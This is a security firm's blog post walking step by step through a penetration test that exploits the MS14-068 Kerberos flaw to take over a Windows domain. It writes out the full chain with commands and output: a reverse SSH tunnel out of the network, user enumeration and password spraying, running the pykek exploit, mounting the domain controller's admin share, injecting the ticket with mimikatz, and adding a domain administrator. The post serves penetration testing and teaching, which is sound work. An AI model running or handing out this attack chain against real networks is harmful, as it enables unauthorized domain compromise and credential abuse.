From MS14-068 to Full Compromise – Step by Step

The MS14-068 flaw in Kerberos allows a regular authenticated domain account to elevate permissions to compromise an entire domain. Recently Sylvain Monne’ (kudos and awesome work to Sylvain) released PoC code in order to gain access to a administrative share utilizing the Kerberos flaw. A regular user could grab a Kerberos token and then authenticate for example to a domain controllers shares. We were recently on a penetration test where the domain controllers were not patched appropriately and needed a way to escalate permissions in order to gain full access to the environment.

This blog post will walk through the steps taken in order to exploit the MS14-068 flaw and from there leverage it to add a domain administrative level account.

First, we needed a way into the network – since this was an external pentest we had a few options available for RCE. We ended up finding remote command execution from a vulnerable PHP extension on the customer website. Once we had access, it was a nix box – we established a reverse SSH connection out of the network back to our infrastructure. Now that we are now into the compromised box, we downloaded RIDENUM written by TrustedSec from here:

https://github.com/trustedsec/ridenum

You can easily check this out from github on nix by running:

git clone https://github.com/trustedsec/ridenum

RIDENUM uses null sessions and RID cycling to enumerate the user accounts. Since we didn’t have proper segmentation from the system compromised we had access to connect directly to the domain controllers. At this point we did not have a valid user account. Using RIDENUm we were able to enumerate the user accounts on the domain. Since RIDENUM gave us a full list of domain user accounts, we can use RIDENUM to do a password brute force for us. Usually you only do one or two as to not trigger alert thresholds or account lockout policies. In this case we used “Winter2014” and brute forced the entire domain using RIDENUM. Doing a quick brute force of Winter2014 yielded two regular user accounts.

Now we have regular user accounts, we needed to escalate permissions. First we used the latest version of Responder to check to see if the domain controller was vulnerable to MS14-068 (note that the IP addresses were changed):

root@tardis4:~/Responder# python FindSMB2UPTime.py 10.50.50.145
DC is up since: 2014-10-19 19:32:23
This DC is vulnerable to MS14-068
root@tardis4:~/Responder# 

Since we know it’s vulnerable now through responder, we needed to download the PoC “pykek” from Sylvain here:

https://github.com/bidord/pykek/

You can download pykek using the following command:

git clone https://github.com/bidord/pykek/

Next we need to install a few dependencies, since this box was Debian (works on Kali too) you can issue the following commands:

First we need Kerberos support:

apt-get install krb5-user

Next we need to sync our time for the appropriate token with the DC:

apt-get install rdate

Next we sync our time with the vulnerable DC by issuing:

rdate -n 10.50.50.145

In order to use MS14-068 we need the FQDN, the SID of the user account, the username, the FQDN for the domain controller, and the password. FQDN is easy, just cat /etc/resolv.conf or do an nslookup on the IP address to find it.

Next we need the SID of the user. For this example we’ll use the username of “bob” and password of “Winter2014”.

In Linux, use rpcclient to connect to the DC with the credentials:

rpcclient -U bob 10.50.50.145

Enter Winter2014 for Bob’s password.

Next use lookupnames bob. This will grab the sid, something similar to below:

rpcclient $> lookupnames bob
bob S-1-9-15-7855740087-32797987159-678678687-1900 (User: 1)
rpcclient $> 

Now we should have everything we need.

Run python ms14-068.py from the checked out pykek exploit.

root@tardis4:~/ridenum/pykek# python ms14-068.py -u bob@goat.corp -s S-1-9-15-7855740087-32797987159-678678687-1900 -p Winter2014 -d dc1.goat.corp
  [+] Building AS-REQ for dc1.goat.corp... Done!
  [+] Sending AS-REQ to dc1.goat.corp... Done!
  [+] Receiving AS-REP from dc1.goat.corp... Done!
  [+] Parsing AS-REP from dc1.goat.corp... Done!
  [+] Building TGS-REQ for dc1.goat.corp... Done!
  [+] Sending TGS-REQ to dc1.goat.corp... Done!
  [+] Receiving TGS-REP from dc1.goat.corp... Done!
  [+] Parsing TGS-REP from dc1.goat.corp... Done!
  [+] Creating ccache file 'TGT_bob@goat.corp'... Done!
root@tardis4:~/ridenum/pykek# 

Here’s where we could just copy the Kerberos token and gain access to the file share if we wanted to. You could simply copy the TGT_bob@goat.corp file to /tmp/krb5cc_0.

Next you could run smbclient to authenticate to the server:

smbclient -k -W goat.corp //dc1.goat.corp/c$ -k
OS=[Windows Server 2008 R2 Standard 7601 Service Pack 1] Server=[Windows Server 2008 R2 Standard 6.1]
smb: \> 

This is fine, but how do you take this and leverage it to fully compromise the system and gain domain administrative level rights or elevate to something else?

You will need a Windows box for this and some willpower. First, since we have a reverse SSH tunnel we have written our own custom SSH VPN however there’s some open source alternatives like SSHUTTLE if you want to VPN in through an SSH tunnel. We used ours instead, but you can do this step as long as you have a way to route appropriate communications from a Windows system from the attacker to the victim or use a non-occupied machine.

First, copy the TGT_bob@goat.corp file to your Windows machine.

Logon to your own Windows VM as local user in the administrators group.

Ensure the DNS server configured in windows is that of the target organization, and you have routes in place to the domain controller. Since we were using our own SSH VPN script on a compromised system we had to add routes for the customers network back to our systems. If you are already internal, then you can skip all of these steps.

route add –p xxx.xxx.xxx.xxx MASK 255.255.xxx.xxx 10.50.1.1

Note that we used –p to make the route persist it will need to be there when the machine is restarted, so it needs to be sticky. We also had to change my DNS server to match that of the one from /etc/resolv.conf on the compromised system we had from earlier (php flaw).

We used the obtained credentials to join the domain (you could also find a system that the user is already logged into or has the ability to log into). The default polices usually allow each user to join the domain with three devices. We used the UI to do this but could easily use the net net join command. When prompted select “restart later”.

Add the domain user to the local admins group.

Reboot.

Logon as the domain user.

Grab and unpack the mimikatz binaries from http://blog.gentilkiwi.com/mimikatz.

Find cmd on the start menu and right-click run as admin

klist purge 
klist

Should show no kerberos tickets.

mimikatz "kerberos::ptc c:\path\to\TGT_user@domain.tld.ccache.file"
klist

Should now show the ticket.

Now launch Start and run then type:

\\fqdn.of.the.domain.controller.you.got.the.tgt.from\c$

We found we had to do this before things worked properly. Not sure why, it does not appear to alter the contents of the ticket cache.

Open up MMC. Add the Users and Computers snap-in

Change to the domain controller you get the tgt from and voila. You can now add yourself a domain administrator account or add the current user you are logged into as a domain administrator.

This blog post was written by Geoff Walton and David Kennedy of TrustedSec. Teamwork for the win!

David Kennedy

Author: David Kennedy

Security expert, keynote speaker, avid gamer and the go-to for protecting companies from threats.